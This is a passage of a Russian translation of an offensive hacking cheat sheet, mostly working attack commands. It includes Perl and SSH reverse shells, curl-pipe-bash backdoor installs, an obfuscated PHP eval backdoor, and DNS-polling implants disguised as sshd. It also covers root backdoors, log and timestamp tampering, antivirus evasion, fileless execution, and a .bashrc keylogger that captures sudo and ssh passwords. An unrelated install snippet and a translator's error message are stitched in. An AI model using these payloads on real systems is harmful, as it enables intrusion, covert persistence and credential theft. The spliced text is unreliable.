ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080

На целевой системе (альтернативный вариант; требуются ssh, bash и mkfifo):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)

<a id="reverse-shell-perl"></a>
**Реверс-шелл с Perl**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. Повышение reverse shell до PTY-оболочки**

Любая из описанных выше reverse shell-оболочек ограничена. Например, *sudo bash* или *top* не будут работать. Чтобы заставить их работать, нужно повысить оболочку до полноценной PTY-оболочки:```sh
# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

<a id="reverse-shell-interactive"></a>
**5.ii.b. Превращение reverse shell в полностью интерактивную оболочку**

...и если мы также хотим использовать Ctrl-C и т.д., то нам нужно пойти до конца и обновить reverse shell до настоящей полностью красочной интерактивной оболочки:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.

git clone https://github.com/0xheart/Bloxy.git
cd Bloxy

python -m venv venv
source venv/bin/activate   # On Windows: venv\Scripts\activate

pip install -r requirements.txt

cp config.example.yaml config.yaml

The input content for chunk 324 of 494 is empty — no text was provided after "INPUT:". Please supply the actual Markdown content of the chunk so I can translate it into Russian.```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

---
<a id="backdoor"></a>
## 6. Бэкдоры

См. [Обратная оболочка / Глупая оболочка](#reverse-shell) для простых однострочных обратных оболочек.

<a id="gsnc"></a>
**6.i. Обратная оболочка с использованием gs-netcat**

В основном мы используем автоматизированный сценарий развертывания gs-netcat: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"

или разверните gsocket, запустив собственный сервер развертывания:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'

Или тупой способ:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;

Как это работает:
- Ключ хоста SSHD — это просто обычный ключ ed25519.
- Любой ключ ed25519 может использоваться для аутентификации пользователя.
- SSHD проверяет `~/.ssh/authorized_keys` (но этот трюк уже заезжен).
- Вместо этого настройте SSHD так, чтобы он также проверял `/etc/ssh/sshd_host_ed25519_key.pub` на наличие ключей аутентификации для входа.
- Теперь SSHD будет проверять `~/.ssh/authorized_keys` _и_ `/etc/ssh/ssh_host_ed25519_key.pub` на наличие допустимых ключей входа.
- Используйте секретный ключ `/etc/ssh/sshd_host_ed25519_key`, чтобы войти на целевую систему.

<a id="backdoor-network"></a>
**6.vi. Удалённый доступ ко всей сети**

Установите [gs-netcat](https://github.com/hackerschoice/gsocket). Он создаёт SOCKS-выходной узел (exit-node) в частной LAN хоста, доступный через Global Socket Relay Network, без необходимости запускать собственный relay-сервер (например, получите доступ к удалённой частной LAN напрямую со своей рабочей станции):```sh
gs-netcat -l -S       # compromised Host

Читайте: [Использование любого инструмента через Socks Proxy](#scan-proxy).

Другие методы:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - наша собственная статья
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - из segfault.net в любую (внутреннюю) сеть.

<a id="php-backdoor"></a>
**6.v. Самый маленький PHP-бэкдор**

Добавьте эту строку в начало любого PHP-файла:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>

Проверьте бэкдор:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"

Активируйте с помощью любого из этих, чтобы выполнить команду или PHP-код:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'

Имплант запрашивает полезную нагрузку через DNS TXT-запрос к домену `b00m.team-teso.net`. При срабатывании он создаёт `/tmp/.b00m` и уведомляет THC (через обратный вызов app.interactsh.com). *Пожалуйста*, используйте собственный домен, а также создайте собственную полезную нагрузку. Пример:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0

или измените демо-пейлоад на сложный пейлоад:
- Запускает фоновый демон для опроса каждый час с целью выполнения команд.
- Зависит только от bash, dig и base64.
- Маскируется под `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`
- В примере снова используется `b00m2.team-teso.net`, и каждый час создаётся /tmp/.b00m.

Скопируйте и вставьте следующее в оболочку цели, чтобы сгенерировать однострочный имплант:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
	dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
	slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt

...in PERL:
---
То же самое, но требуется только perl + bash (не dig):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt

Сгенерируйте свой payload (`egg.py` будет выполнен на целевой системе):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF

<a id="ld-backdoor"></a>
**6.vii. Локальный root-бэкдор**

#### 1. Бэкдор динамического загрузчика с помощью setcap```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"

#### 2. Старый добрый b00m shell```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null

<a id="implant"></a>
**6.viii. Самораспаковывающийся имплант**

Создайте самораспаковывающийся shell-скрипт с помощью [mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) (см. исходный код для примеров).

Простой пример:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

2. Переименуйте `egg.sh` в `update-for-fools.txt` и загрузите как blob в GitHub-репозиторий [Signal](https://www.signal.org/).

3. Не дурачьте людей, заставляя их обновить Signal этой командой ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash

или```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"

Проверьте скорость системы```sh
curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash

Найти все доступные для записи каталоги:```bash
wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 

- Используйте [PassDetective](https://github.com/aydinnyunus/PassDetective) для поиска паролей в ~/.*history
- Используйте [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) для извлечения и дешифрования паролей Chrome из запущенного процесса (только для Windows)
- Извлекайте пароли из браузеров с помощью [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor)

Использование `grep`:```sh
# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .

---
<a id="shell-hacks"></a>
## 8. Хитрости оболочки
<a id="shred"></a>
**8.i. Shred & затирание файла**```sh
shred -z foobar.txt

Note: Or deploy your files in */dev/shm* directory so that no data is written to the harddrive. Data will be deleted on reboot.

Note: Or delete the file and then fill the entire harddrive with /dev/urandom and then rm -rf the dump file.

<a id="restore-timestamp"></a>
**8.ii. Restore the date of a file**

Let's say you have modified */etc/passwd* but the file date now shows that */etc/passwd* has been modified. Use *touch* to change the file date to the date of another file (in this example, */etc/shadow*)```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'

Это удалит любую строку, содержащую IP `1.2.3.4`, из файла журнала:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }

<a id="shell-hide-files"></a>
**8.iv. Скрытие файлов от этого пользователя без прав root**

Наша любимая рабочая директория — */dev/shm/*. Это место — энергозависимая память, и она будет потеряна при перезагрузке. НЕТ ЛОГОВ == НЕТ ПРЕСТУПЛЕНИЯ.

Скрытие постоянных файлов:

Метод 1:```sh
alias ls='ls -I system-dev'

Метод 3:
Unix допускает имена файлов практически с любым ASCII-символом, кроме 0x00. Попробуйте табуляцию (*\t*). Часто бывает, что большинство администраторов не знают, как выполнить cd в такой каталог.```sh
mkdir $'\t'
cd $'\t'

<a id="nosudo"></a>
**8.vi. Смена пользователя без sudo/su**

Необходимо для создания скриншотов X11-сессий (то есть `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` или `import -display :0 -window root screenshot.png`)```bash
xsu() {
    local name="${1:?}"
    local u g h
    local cmd="python"

    command -v python3 >/dev/null && cmd="python3"
    [ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
    u=$(id -u ${name:?}) || return
    g=$(id -g ${name:?}) || return
    h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
    HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user

Очистите [заголовок UPX](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) и 2-й заголовок ELF, чтобы обмануть антивирус:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"

Убедитесь, что бинарный файл не может быть распакован:```shell
upx -d "${BIN}"  # Should fail with 'not packed by UPX'

Самый короткий возможный вариант (пример):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u

Бэкдор также можно передать по SSH напрямую в память удалённой системы и выполнить:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"

---
<a id="crypto"></a>
## 9. Криптография
<a id="gen-password"></a>
**9.i. Генерация быстрого случайного пароля**

Подходит для быстрых паролей без участия человека.```sh
openssl rand -base64 24

или сделайте его буквенно-цифровым```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16

Монтирование:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec

<a id="encfs"></a>
**9.ii.b. Переносимые зашифрованные файловые системы Linux - EncFS**

Создайте ```.sec``` и сохраните зашифрованные данные в ```.raw```:```sh
mkdir .raw .sec
encfs --standard  "${PWD}/.raw" "${PWD}/.sec"

<a id="encrypting-file"></a>
**9.iii Шифрование файла**

Зашифруйте свои 0-Days и лог-файлы перед их передачей - пожалуйста. (и выберите свой собственный пароль):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc

---
<a id="sniffing"></a>
## 10. Перехват и угон сеанса
<a id="session-sniffing"></a>
**10.i Перехват SHELL-сеанса пользователя**

Однострочник для `~/.bashrc`, который перехватывает нажатия клавиш пользователя и сохраняет их в `~/.config/.pty/.@*`. Полезен, когда у вас нет прав root и нужно перехватить учётные данные sudo/ssh/git пользователя.

Развёртывание: скопируйте и вставьте следующее в целевую систему и следуйте инструкциям:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'

Запустите dtrace и запишите журнал в /tmp/.log:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)

Check out our very own [eBPF tools to sniff sudo/su/ssh passwords](https://github.com/hackerschoice/bpfhacks). → Посмотрите на наши собственные [eBPF-инструменты для перехвата паролей sudo/su/ssh](https://github.com/hackerschoice/bpfhacks).

<a id="ssh-sniffing-strace"></a>
**10.iv Перехват SSH, bash или SSHD-сеанса пользователя с помощью strace**```sh
tit() {
	strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
	# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ...  | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)

Sniff 7770 (пример):```shell
tit write 7770